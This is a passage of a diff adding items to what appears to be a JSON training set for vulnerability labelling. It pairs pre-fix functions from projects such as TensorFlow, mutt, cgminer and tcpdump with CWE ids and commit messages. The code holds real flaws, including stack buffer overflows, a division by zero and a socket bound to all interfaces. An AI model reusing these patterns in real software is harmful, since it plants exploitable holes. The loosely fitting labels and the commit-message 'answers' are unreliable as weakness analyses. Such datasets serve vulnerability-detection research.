xfs_attr_shortform_compare);\n\n\t/*\n\t * Re-find our place IN THE SORTED LIST.\n\t */\n\tcount = 0;\n\tcursor->initted = 1;\n\tcursor->blkno = 0;\n\tfor (sbp = sbuf, i = 0; i < nsbuf; i++, sbp++) {\n\t\tif (sbp->hash == cursor->hashval) {\n\t\t\tif (cursor->offset == count) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcount++;\n\t\t} else if (sbp->hash > cursor->hashval) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (i == nsbuf) {\n\t\tkmem_free(sbuf);\n\t\treturn 0;\n\t}\n\n\t/*\n\t * Loop putting entries into the user buffer.\n\t */\n\tfor ( ; i < nsbuf; i++, sbp++) {\n\t\tif (cursor->hashval != sbp->hash) {\n\t\t\tcursor->hashval = sbp->hash;\n\t\t\tcursor->offset = 0;\n\t\t}\n\t\terror = context->put_listent(context,\n\t\t\t\t\tsbp->flags,\n\t\t\t\t\tsbp->name,\n\t\t\t\t\tsbp->namelen,\n\t\t\t\t\tsbp->valuelen,\n\t\t\t\t\t&sbp->name[sbp->namelen]);\n\t\tif (error)\n\t\t\treturn error;\n\t\tif (context->seen_enough)\n\t\t\tbreak;\n\t\tcursor->offset++;\n\t}\n\n\tkmem_free(sbuf);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'xfs: fix two memory leaks in xfs_attr_list.c error paths\n\nThis plugs 2 trivial leaks in xfs_attr_shortform_list and\nxfs_attr3_leaf_list_int.\n\nSigned-off-by: Mateusz Guzik \nCc: \nReviewed-by: Eric Sandeen \nSigned-off-by: Dave Chinner '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SSLNetVConnection::sslStartHandShake(int event, int &err)\n{\n  if (sslHandshakeBeginTime == 0) {\n    sslHandshakeBeginTime = Thread::get_hrtime();\n    // net_activity will not be triggered until after the handshake\n    set_inactivity_timeout(HRTIME_SECONDS(SSLConfigParams::ssl_handshake_timeout_in));\n  }\n  SSLConfig::scoped_config params;\n  switch (event) {\n  case SSL_EVENT_SERVER:\n    if (this->ssl == nullptr) {\n      SSLCertificateConfig::scoped_config lookup;\n      IpEndpoint dst;\n      int namelen = sizeof(dst);\n      if (0 != safe_getsockname(this->get_socket(), &dst.sa, &namelen)) {\n        Debug(\"ssl\", \"Failed to get dest ip, errno = [%d]\", errno);\n        return EVENT_ERROR;\n      }\n      SSLCertContext *cc = lookup->find(dst);\n      if (is_debug_tag_set(\"ssl\")) {\n        IpEndpoint src;\n        ip_port_text_buffer ipb1, ipb2;\n        int ip_len = sizeof(src);\n\n        if (0 != safe_getpeername(this->get_socket(), &src.sa, &ip_len)) {\n          Debug(\"ssl\", \"Failed to get src ip, errno = [%d]\", errno);\n          return EVENT_ERROR;\n        }\n        ats_ip_nptop(&dst, ipb1, sizeof(ipb1));\n        ats_ip_nptop(&src, ipb2, sizeof(ipb2));\n        Debug(\"ssl\", \"IP context is %p for [%s] -> [%s], default context %p\", cc, ipb2, ipb1, lookup->defaultContext());\n      }\n\n      // Escape if this is marked to be a tunnel.\n      // No data has been read at this point, so we can go\n      // directly into blind tunnel mode\n\n      if (cc && SSLCertContext::OPT_TUNNEL == cc->opt) {\n        if (this->is_transparent) {\n          this->attributes     = HttpProxyPort::TRANSPORT_BLIND_TUNNEL;\n          sslHandShakeComplete = true;\n          SSL_free(this->ssl);\n          this->ssl = nullptr;\n          return EVENT_DONE;\n        } else {\n          SSLConfig::scoped_config params;\n          this->SNIMapping = params->sni_map_enable;\n          hookOpRequested  = SSL_HOOK_OP_TUNNEL;\n        }\n      }\n\n      // Attach the default SSL_CTX to this SSL session. The default context is never going to be able\n      // to negotiate a SSL session, but it's enough to trampoline us into the SNI callback where we\n      // can select the right server certificate.\n      this->ssl = make_ssl_connection(lookup->defaultContext(), this);\n    }\n\n    if (this->ssl == nullptr) {\n      SSLErrorVC(this, \"failed to create SSL server session\");\n      return EVENT_ERROR;\n    }\n\n    return sslServerHandShakeEvent(err);\n\n  case SSL_EVENT_CLIENT:\n\n    char buff[INET6_ADDRSTRLEN];\n\n    if (this->ssl == nullptr) {\n      // Making the check here instead of later, so we only\n      // do this setting immediately after we create the SSL object\n      SNIConfig::scoped_config sniParam;\n      int8_t clientVerify = 0;\n      cchar *serverKey    = this->options.sni_servername;\n      if (!serverKey) {\n        ats_ip_ntop(this->get_remote_addr(), buff, INET6_ADDRSTRLEN);\n        serverKey = buff;\n      }\n      auto nps           = sniParam->getPropertyConfig(serverKey);\n      SSL_CTX *clientCTX = nullptr;\n\n      if (nps) {\n        clientCTX    = nps->ctx;\n        clientVerify = nps->verifyLevel;\n      } else {\n        clientCTX = params->client_ctx;\n        // Keeping backwards compatability on the proxy.config.ssl.client.verify.server setting\n        clientVerify = params->clientVerify ? (params->clientVerify == 1 ? 2 : 1) : 0;\n      }\n      if (!clientCTX) {\n        SSLErrorVC(this, \"failed to create SSL client session\");\n        return EVENT_ERROR;\n      }\n\n      this->ssl = make_ssl_connection(clientCTX, this);\n      if (this->ssl == nullptr) {\n        SSLErrorVC(this, \"failed to create SSL client session\");\n        return EVENT_ERROR;\n      }\n      int verify_op;\n      if (clientVerify) {\n        verify_op = SSL_VERIFY_PEER;\n        SSL_set_verify(this->ssl, verify_op, verify_callback);\n      } else {\n        // Don't bother to set the verify callback if no verification is required\n        verify_op = SSL_VERIFY_NONE;\n        SSL_set_verify(this->ssl, verify_op, nullptr);\n      }\n\n      if (this->options.sni_servername) {\n        if (SSL_set_tlsext_host_name(this->ssl, this->options.sni_servername)) {\n          Debug(\"ssl\", \"using SNI name '%s' for client handshake\", this->options.sni_servername.get());\n        } else {\n          Debug(\"ssl.error\", \"failed to set SNI name '%s' for client handshake\", this->options.sni_servername.get());\n          SSL_INCREMENT_DYN_STAT(ssl_sni_name_set_failure);\n        }\n      }\n    }\n\n    return sslClientHandShakeEvent(err);\n\n  default:\n    ink_assert(0);\n    return EVENT_ERROR;\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284'], 'message': 'Bug fix in origin connection handling (#8731)\n\nCo-authored-by: Takuya Kitano '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Status NestedStackRaggedTensors(\n    const std::vector& ragged_components,\n    const std::vector& nested_dim_sizes, const int input_ragged_rank,\n    const int output_ragged_rank, RaggedTensorVariant* output_ragged) {\n  output_ragged->mutable_nested_splits()->reserve(output_ragged_rank);\n  const int dims = nested_dim_sizes.size();\n\n  // Populate first `dims - 1` splits.\n  for (int i = 0; i < dims - 1; i++) {\n    int dims_splits_size = nested_dim_sizes[i] + 1;\n    output_ragged->append_splits(Tensor(DataTypeToEnum::value,\n                                        TensorShape({dims_splits_size})));\n    auto splits_vec = output_ragged->mutable_splits(i)->vec();\n    int split_diff = nested_dim_sizes[i + 1];\n    for (int j = 0; j < dims_splits_size; j++) {\n      splits_vec(j) = j * split_diff;\n    }\n  }\n\n  // Populate `dims`-th split.\n  int splits_size = ragged_components.size() + 1;\n  output_ragged->append_splits(\n      Tensor(DataTypeToEnum::value, TensorShape({splits_size})));\n  auto dims_splits_vec =\n      output_ragged->mutable_splits(dims - 1)->vec();\n  dims_splits_vec(0) = 0;\n  for (int i = 0; i < ragged_components.size(); i++) {\n    int split_val = ragged_components[i].values().shape().dim_size(0);\n    if (input_ragged_rank != 0 && ragged_components[i].ragged_rank() > 0) {\n      split_val = ragged_components[i].splits(0).NumElements() - 1;\n    }\n    dims_splits_vec(i + 1) = dims_splits_vec(i) + split_val;\n  }\n\n  // Populate last `input_ragged_rank` splits.\n  for (int i = 0; i < input_ragged_rank; i++) {\n    int split_index = dims + i;\n    int split_size = 1;\n    for (int j = 0; j < ragged_components.size(); j++) {\n      if (!ragged_components[j].nested_splits().empty()) {\n        split_size += ragged_components[j].splits(i).NumElements() - 1;\n      }\n    }\n    output_ragged->append_splits(\n        Tensor(DataTypeToEnum::value, TensorShape({split_size})));\n    auto splits_vec =\n        output_ragged->mutable_splits(split_index)->vec();\n    splits_vec(0) = 0;\n    SPLIT_TYPE last_split_value = 0;\n    int index = 1;\n    for (int j = 0; j < ragged_components.size(); j++) {\n      if (ragged_components[j].nested_splits().empty()) {\n        // Corner case: empty row. e.g [ [[x], [x]], [] ]\n        continue;\n      }\n      auto component_splits_vec =\n          ragged_components[j].splits(i).vec();\n      for (int k = 1; k < component_splits_vec.size(); k++, index++) {\n        splits_vec(index) = component_splits_vec(k) + last_split_value;\n      }\n      last_split_value = splits_vec(index - 1);\n    }\n  }\n\n  // If the variant tensor input is empty, then we have no way to determine\n  // the correct shape for the dense_values.  (It must have rank>=1, and its\n  // outer dimension must be 0, but we don't know its shape beyond that.)\n  // For now, we just use a shape of `[0]` in this case.\n  // TODO(edloper): Update this op with an attribute containing information\n  // about dense_values shape.  If it's `None`, then we'll probably still have\n  // to use shape=[0] here, but if we have more info, then we can use it.\n  // E.g., in map_fn, we may have shape info from the RaggedTensorSpec.\n  TensorShape component_values_shape;\n  if (ragged_components.empty()) {\n    component_values_shape = TensorShape({0});\n  } else {\n    component_values_shape = ragged_components[0].values().shape();\n  }\n\n  // Populate values.\n  int values_size = component_values_shape.dim_size(0);\n  for (int i = 1; i < ragged_components.size(); i++) {\n    if (ragged_components[i].values().dims() != component_values_shape.dims()) {\n      return errors::InvalidArgument(\n          \"Rank of values must match for all \"\n          \"components; values shape at index 0: \",\n          component_values_shape.DebugString(), \", values shape at index \", i,\n          \": \", ragged_components[i].values().shape().DebugString());\n    }\n    values_size += ragged_components[i].values().shape().dim_size(0);\n  }\n  component_values_shape.set_dim(0, values_size);\n  output_ragged->set_values(\n      Tensor(DataTypeToEnum::value, component_values_shape));\n  auto output_values_flat =\n      output_ragged->mutable_values()->flat_outer_dims();\n  int values_index = 0;\n  for (int i = 0; i < ragged_components.size(); i++) {\n    auto component_values_flat =\n        ragged_components[i].values().flat_outer_dims();\n    int num_inner_elements = ragged_components[i].values().NumElements();\n    if (ragged_components[i].values().dim_size(0) > 0) {\n      num_inner_elements /= ragged_components[i].values().dim_size(0);\n    }\n    for (int j = 0; j < ragged_components[i].values().dim_size(0);\n         j++, values_index++) {\n      for (int k = 0; k < num_inner_elements; k++) {\n        output_values_flat(values_index, k) = component_values_flat(j, k);\n      }\n    }\n  }\n  return Status::OK();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-681'], 'message': 'Fix bug that could cause map_fn to produce incorrect results (rather than an error)\nwhen mapping over a ragged tensor with an inappropriate fn_output_signature.  (Note: there are cases where the default value for fn_output_signature is not appropriate, so the user needs to explicitly specify the correct output signature.)\n\nPiperOrigin-RevId: 387606546\nChange-Id: Ib4ea27b9634e6ab413f211cfe809a69a90f0e2cd'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static Status ValidateSavedTensors(const GraphDef& graph_def) {\n  for (const auto& node : graph_def.node()) {\n    const auto node_iterator = node.attr().find(\"value\");\n    if (node_iterator != node.attr().end()) {\n      AttrValue node_value = node_iterator->second;\n      if (node_value.has_tensor()) {\n        const PartialTensorShape node_shape(node_value.tensor().tensor_shape());\n        if (node_shape.num_elements() < 0) {\n          return errors::FailedPrecondition(\n              \"Saved model contains node \\\"\", node.name(), \"\\\" (op \\\"\",\n              node.op(), \"\\\") which initializes from a tensor with \",\n              node_shape.num_elements(), \" elements\");\n        }\n      }\n    } else if (node.op() == \"Const\") {\n      return errors::FailedPrecondition(\n          \"Saved model contains node \\\"\", node.name(),\n          \"\\\" which is a constant tensor but no value has been provided\");\n    }\n  }\n  return Status::OK();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-703'], 'message': 'Validate `NodeDef`s from `FunctionDefLibrary` of a `GraphDef`.\n\nWe already validated `NodeDef`s from a `GraphDef` but missed validating those from the `FunctionDefLibrary`. Thus, some maliciously crafted models could evade detection and cause denial of service due to a `CHECK`-fail.\n\nPiperOrigin-RevId: 332536309\nChange-Id: I052efe919ff1fe2f90815e286a1aa4c54c7b94ff'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    const Tensor& tensor_in = context->input(0);\n    const Tensor& grad_in = context->input(1);\n    const Tensor& argmax = context->input(2);\n\n    PoolParameters params{context,\n                          ksize_,\n                          stride_,\n                          padding_,\n                          /*explicit_paddings=*/{},\n                          FORMAT_NHWC,\n                          tensor_in.shape()};\n    if (!context->status().ok()) {\n      return;\n    }\n\n    TensorShape out_shape({params.tensor_in_batch, params.tensor_in_rows,\n                           params.tensor_in_cols, params.depth});\n    Tensor* grad_out = nullptr;\n    OP_REQUIRES_OK(context, context->forward_input_or_allocate_output(\n                                {0}, 0, out_shape, &grad_out));\n\n    LaunchMaxPoolingGradWithArgmax::launch(\n        context, params, grad_in, argmax, grad_out, include_batch_in_index_);\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'Don't do any work if output tensor is null (prevent div by 0)\n\nPiperOrigin-RevId: 372208700\nChange-Id: Iea6b6293e887ade8538facfdb50fb931e17f511e'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    // Here's the basic idea:\n    // Batch and depth dimension are independent from row and col dimension. And\n    // because FractionalAvgPool currently only support pooling along row and\n    // col, we can basically think of this 4D tensor backpropagation as\n    // operation of a series of 2D planes.\n    //\n    // For each element of a 'slice' (2D plane) of output_backprop, we need to\n    // figure out its contributors when doing FractionalAvgPool operation. This\n    // can be done based on row_pooling_sequence, col_pooling_seq and\n    // overlapping.\n    // Once we figure out the original contributors, we just need to evenly\n    // divide the value of this element among these contributors.\n    //\n    // Internally, we divide the out_backprop tensor and store it in a temporary\n    // tensor of double type. And cast it to the corresponding type.\n    typedef Eigen::Map>\n        ConstEigenMatrixMap;\n    typedef Eigen::Map>\n        EigenDoubleMatrixMap;\n\n    // Grab the inputs.\n    const Tensor& orig_input_tensor_shape = context->input(0);\n    OP_REQUIRES(context,\n                orig_input_tensor_shape.dims() == 1 &&\n                    orig_input_tensor_shape.NumElements() == 4,\n                errors::InvalidArgument(\"original input tensor shape must be\"\n                                        \"1-dimensional and 4 elements\"));\n    const Tensor& out_backprop = context->input(1);\n    const Tensor& row_seq_tensor = context->input(2);\n    const Tensor& col_seq_tensor = context->input(3);\n\n    const int64 out_batch = out_backprop.dim_size(0);\n    const int64 out_rows = out_backprop.dim_size(1);\n    const int64 out_cols = out_backprop.dim_size(2);\n    const int64 out_depth = out_backprop.dim_size(3);\n\n    auto row_seq_tensor_flat = row_seq_tensor.flat();\n    auto col_seq_tensor_flat = col_seq_tensor.flat();\n    auto orig_input_tensor_shape_flat = orig_input_tensor_shape.flat();\n\n    const int64 in_batch = orig_input_tensor_shape_flat(0);\n    const int64 in_rows = orig_input_tensor_shape_flat(1);\n    const int64 in_cols = orig_input_tensor_shape_flat(2);\n    const int64 in_depth = orig_input_tensor_shape_flat(3);\n\n    constexpr int tensor_in_and_out_dims = 4;\n    // Transform orig_input_tensor_shape into TensorShape\n    TensorShape in_shape;\n    for (auto i = 0; i < tensor_in_and_out_dims; ++i) {\n      in_shape.AddDim(orig_input_tensor_shape_flat(i));\n    }\n\n    // Create intermediate in_backprop.\n    Tensor in_backprop_tensor_temp;\n    OP_REQUIRES_OK(context, context->forward_input_or_allocate_temp(\n                                {0}, DataTypeToEnum::v(), in_shape,\n                                &in_backprop_tensor_temp));\n    in_backprop_tensor_temp.flat().setZero();\n    // Transform 4D tensor to 2D matrix.\n    EigenDoubleMatrixMap in_backprop_tensor_temp_mat(\n        in_backprop_tensor_temp.flat().data(), in_depth,\n        in_cols * in_rows * in_batch);\n    ConstEigenMatrixMap out_backprop_mat(out_backprop.flat().data(),\n                                         out_depth,\n                                         out_cols * out_rows * out_batch);\n    // Loop through each element of out_backprop and evenly distribute the\n    // element to the corresponding pooling cell.\n    const int64 in_max_row_index = in_rows - 1;\n    const int64 in_max_col_index = in_cols - 1;\n    for (int64 b = 0; b < out_batch; ++b) {\n      for (int64 r = 0; r < out_rows; ++r) {\n        const int64 in_row_start = row_seq_tensor_flat(r);\n        int64 in_row_end = overlapping_ ? row_seq_tensor_flat(r + 1)\n                                        : row_seq_tensor_flat(r + 1) - 1;\n        in_row_end = std::min(in_row_end, in_max_row_index);\n        for (int64 c = 0; c < out_cols; ++c) {\n          const int64 in_col_start = col_seq_tensor_flat(c);\n          int64 in_col_end = overlapping_ ? col_seq_tensor_flat(c + 1)\n                                          : col_seq_tensor_flat(c + 1) - 1;\n          in_col_end = std::min(in_col_end, in_max_col_index);\n\n          const int64 num_elements_in_pooling_cell =\n              (in_row_end - in_row_start + 1) * (in_col_end - in_col_start + 1);\n          const int64 out_index = (b * out_rows + r) * out_cols + c;\n          // Now we can evenly distribute out_backprop(b, h, w, *) to\n          // in_backprop(b, hs:he, ws:we, *).\n          for (int64 in_r = in_row_start; in_r <= in_row_end; ++in_r) {\n            for (int64 in_c = in_col_start; in_c <= in_col_end; ++in_c) {\n              const int64 in_index = (b * in_rows + in_r) * in_cols + in_c;\n              // Walk through each channel (depth).\n              for (int64 d = 0; d < out_depth; ++d) {\n                const double out_backprop_element = static_cast(\n                    out_backprop_mat.coeffRef(d, out_index));\n                double& in_backprop_ref =\n                    in_backprop_tensor_temp_mat.coeffRef(d, in_index);\n                in_backprop_ref +=\n                    out_backprop_element / num_elements_in_pooling_cell;\n              }\n            }\n          }\n        }\n      }\n    }\n\n    // Depending on the type, cast double to type T.\n    Tensor* in_backprop_tensor = nullptr;\n    OP_REQUIRES_OK(context, context->forward_input_or_allocate_output(\n                                {0}, 0, in_shape, &in_backprop_tensor));\n    auto in_backprop_tensor_flat = in_backprop_tensor->flat();\n    auto in_backprop_tensor_temp_flat = in_backprop_tensor_temp.flat();\n    for (int64 i = 0; i < in_backprop_tensor_flat.size(); ++i) {\n      in_backprop_tensor_flat(i) =\n          static_cast(in_backprop_tensor_temp_flat(i));\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369', 'CWE-787'], 'message': 'Validate inputs of `FractionalAvgPoolGrad`.\n\nPiperOrigin-RevId: 372420640\nChange-Id: Icc583928e6cdc3062e12498e4d2337a8fe3da016'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int msg_parse_fetch(struct ImapHeader *h, char *s)\n{\n  char tmp[SHORT_STRING];\n  char *ptmp = NULL;\n\n  if (!s)\n    return -1;\n\n  while (*s)\n  {\n    SKIPWS(s);\n\n    if (mutt_str_strncasecmp(\"FLAGS\", s, 5) == 0)\n    {\n      s = msg_parse_flags(h, s);\n      if (!s)\n        return -1;\n    }\n    else if (mutt_str_strncasecmp(\"UID\", s, 3) == 0)\n    {\n      s += 3;\n      SKIPWS(s);\n      if (mutt_str_atoui(s, &h->data->uid) < 0)\n        return -1;\n\n      s = imap_next_word(s);\n    }\n    else if (mutt_str_strncasecmp(\"INTERNALDATE\", s, 12) == 0)\n    {\n      s += 12;\n      SKIPWS(s);\n      if (*s != '\\\"')\n      {\n        mutt_debug(1, \"bogus INTERNALDATE entry: %s\\n\", s);\n        return -1;\n      }\n      s++;\n      ptmp = tmp;\n      while (*s && *s != '\\\"')\n        *ptmp++ = *s++;\n      if (*s != '\\\"')\n        return -1;\n      s++; /* skip past the trailing \" */\n      *ptmp = '\\0';\n      h->received = mutt_date_parse_imap(tmp);\n    }\n    else if (mutt_str_strncasecmp(\"RFC822.SIZE\", s, 11) == 0)\n    {\n      s += 11;\n      SKIPWS(s);\n      ptmp = tmp;\n      while (isdigit((unsigned char) *s))\n        *ptmp++ = *s++;\n      *ptmp = '\\0';\n      if (mutt_str_atol(tmp, &h->content_length) < 0)\n        return -1;\n    }\n    else if ((mutt_str_strncasecmp(\"BODY\", s, 4) == 0) ||\n             (mutt_str_strncasecmp(\"RFC822.HEADER\", s, 13) == 0))\n    {\n      /* handle above, in msg_fetch_header */\n      return -2;\n    }\n    else if (*s == ')')\n      s++; /* end of request */\n    else if (*s)\n    {\n      /* got something i don't understand */\n      imap_error(\"msg_parse_fetch\", s);\n      return -1;\n    }\n  }\n\n  return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Don't overflow stack buffer in msg_parse_fetch'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool extract_sockaddr(struct pool *pool, char *url)\n{\n\tchar *url_begin, *url_end, *ipv6_begin, *ipv6_end, *port_start = NULL;\n\tchar url_address[256], port[6];\n\tint url_len, port_len = 0;\n\n\turl_begin = strstr(url, \"//\");\n\tif (!url_begin)\n\t\turl_begin = url;\n\telse\n\t\turl_begin += 2;\n\n\t/* Look for numeric ipv6 entries */\n\tipv6_begin = strstr(url_begin, \"[\");\n\tipv6_end = strstr(url_begin, \"]\");\n\tif (ipv6_begin && ipv6_end && ipv6_end > ipv6_begin)\n\t\turl_end = strstr(ipv6_end, \":\");\n\telse\n\t\turl_end = strstr(url_begin, \":\");\n\tif (url_end) {\n\t\turl_len = url_end - url_begin;\n\t\tport_len = strlen(url_begin) - url_len - 1;\n\t\tif (port_len < 1)\n\t\t\treturn false;\n\t\tport_start = url_end + 1;\n\t} else\n\t\turl_len = strlen(url_begin);\n\n\tif (url_len < 1)\n\t\treturn false;\n\n\tsprintf(url_address, \"%.*s\", url_len, url_begin);\n\n\tif (port_len)\n\t\tsnprintf(port, 6, \"%.*s\", port_len, port_start);\n\telse\n\t\tstrcpy(port, \"80\");\n\n\tfree(pool->stratum_port);\n\tpool->stratum_port = strdup(port);\n\tfree(pool->sockaddr_url);\n\tpool->sockaddr_url = strdup(url_address);\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Stratum: extract_sockaddr: Truncate overlong addresses rather than stack overflow\n\nThanks to Mick Ayzenberg  for finding this!'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: struct tcp_sock_t *tcp_open(uint16_t port)\n{\n\tstruct tcp_sock_t *this = calloc(1, sizeof *this);\n\tif (this == NULL) {\n\t\tERR(\"callocing this failed\");\n\t\tgoto error;\n\t}\n\n\t// Open [S]ocket [D]escriptor\n\tthis->sd = -1;\n\tthis->sd = socket(AF_INET6, SOCK_STREAM, 0);\n\tif (this->sd < 0) {\n\t\tERR(\"sockect open failed\");\n\t\tgoto error;\n\t}\n\n\t// Configure socket params\n\tstruct sockaddr_in6 addr;\n\tmemset(&addr, 0, sizeof addr);\n\taddr.sin6_family = AF_INET6;\n\taddr.sin6_port = htons(port);\n\taddr.sin6_addr = in6addr_any;\n\n\t// Bind to localhost\n\tif (bind(this->sd,\n\t        (struct sockaddr *)&addr,\n\t        sizeof addr) < 0) {\n\t\tif (g_options.only_desired_port == 1)\n\t\t\tERR(\"Bind on port failed. \"\n\t\t\t    \"Requested port may be taken or require root permissions.\");\n\t\tgoto error;\n\t}\n\n\t// Let kernel over-accept max number of connections\n\tif (listen(this->sd, HTTP_MAX_PENDING_CONNS) < 0) {\n\t\tERR(\"listen failed on socket\");\n\t\tgoto error;\n\t}\n\n\treturn this;\n\nerror:\n\tif (this != NULL) {\n\t\tif (this->sd != -1) {\n\t\t\tclose(this->sd);\n\t\t}\n\t\tfree(this);\n\t}\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'SECURITY FIX: Actually restrict the access to the printer to localhost\n\nBefore, any machine in any network connected by any of the interfaces (as\nlisted by \"ifconfig\") could access to an IPP-over-USB printer on the assigned\nport, allowing users on remote machines to print and to access the web\nconfiguration interface of a IPP-over-USB printer in contrary to conventional\nUSB printers which are only accessible locally.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* ctx) override {\n    const Tensor& in0 = ctx->input(0);\n    const Tensor& in1 = ctx->input(1);\n    auto in0_flat = in0.flat();\n    auto in1_flat = in1.flat();\n    const Device& eigen_device = ctx->eigen_device();\n\n    Tensor* out = nullptr;\n    if (std::is_same::value) {\n      OP_REQUIRES_OK(ctx, ctx->forward_input_or_allocate_output(\n                              {0, 1}, 0, in0.shape(), &out));\n    } else {\n      OP_REQUIRES_OK(ctx, ctx->allocate_output(0, in0.shape(), &out));\n    }\n    auto out_flat = out->flat();\n    functor::SimpleBinaryFunctor()(eigen_device, out_flat,\n                                                    in0_flat, in1_flat);\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-787'], 'message': 'Fix nullptr deref and heap OOB access in binary cwise ops.\n\nPiperOrigin-RevId: 387936777\nChange-Id: I608b8074cec36a982cca622b7144cb2c43e6e19f'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: juniper_parse_header(netdissect_options *ndo,\n                     const u_char *p, const struct pcap_pkthdr *h, struct juniper_l2info_t *l2info)\n{\n    const struct juniper_cookie_table_t *lp = juniper_cookie_table;\n    u_int idx, jnx_ext_len, jnx_header_len = 0;\n    uint8_t tlv_type,tlv_len;\n    uint32_t control_word;\n    int tlv_value;\n    const u_char *tptr;\n\n\n    l2info->header_len = 0;\n    l2info->cookie_len = 0;\n    l2info->proto = 0;\n\n\n    l2info->length = h->len;\n    l2info->caplen = h->caplen;\n    ND_TCHECK2(p[0], 4);\n    l2info->flags = p[3];\n    l2info->direction = p[3]&JUNIPER_BPF_PKT_IN;\n\n    if (EXTRACT_24BITS(p) != JUNIPER_MGC_NUMBER) { /* magic number found ? */\n        ND_PRINT((ndo, \"no magic-number found!\"));\n        return 0;\n    }\n\n    if (ndo->ndo_eflag) /* print direction */\n        ND_PRINT((ndo, \"%3s \", tok2str(juniper_direction_values, \"---\", l2info->direction)));\n\n    /* magic number + flags */\n    jnx_header_len = 4;\n\n    if (ndo->ndo_vflag > 1)\n        ND_PRINT((ndo, \"\\n\\tJuniper PCAP Flags [%s]\",\n               bittok2str(jnx_flag_values, \"none\", l2info->flags)));\n\n    /* extensions present ?  - calculate how much bytes to skip */\n    if ((l2info->flags & JUNIPER_BPF_EXT ) == JUNIPER_BPF_EXT ) {\n\n        tptr = p+jnx_header_len;\n\n        /* ok to read extension length ? */\n        ND_TCHECK2(tptr[0], 2);\n        jnx_ext_len = EXTRACT_16BITS(tptr);\n        jnx_header_len += 2;\n        tptr +=2;\n\n        /* nail up the total length -\n         * just in case something goes wrong\n         * with TLV parsing */\n        jnx_header_len += jnx_ext_len;\n\n        if (ndo->ndo_vflag > 1)\n            ND_PRINT((ndo, \", PCAP Extension(s) total length %u\", jnx_ext_len));\n\n        ND_TCHECK2(tptr[0], jnx_ext_len);\n        while (jnx_ext_len > JUNIPER_EXT_TLV_OVERHEAD) {\n            tlv_type = *(tptr++);\n            tlv_len = *(tptr++);\n            tlv_value = 0;\n\n            /* sanity checks */\n            if (tlv_type == 0 || tlv_len == 0)\n                break;\n            if (tlv_len+JUNIPER_EXT_TLV_OVERHEAD > jnx_ext_len)\n                goto trunc;\n\n            if (ndo->ndo_vflag > 1)\n                ND_PRINT((ndo, \"\\n\\t  %s Extension TLV #%u, length %u, value \",\n                       tok2str(jnx_ext_tlv_values,\"Unknown\",tlv_type),\n                       tlv_type,\n                       tlv_len));\n\n            tlv_value = juniper_read_tlv_value(tptr, tlv_type, tlv_len);\n            switch (tlv_type) {\n            case JUNIPER_EXT_TLV_IFD_NAME:\n                /* FIXME */\n                break;\n            case JUNIPER_EXT_TLV_IFD_MEDIATYPE:\n            case JUNIPER_EXT_TLV_TTP_IFD_MEDIATYPE:\n                if (tlv_value != -1) {\n                    if (ndo->ndo_vflag > 1)\n                        ND_PRINT((ndo, \"%s (%u)\",\n                               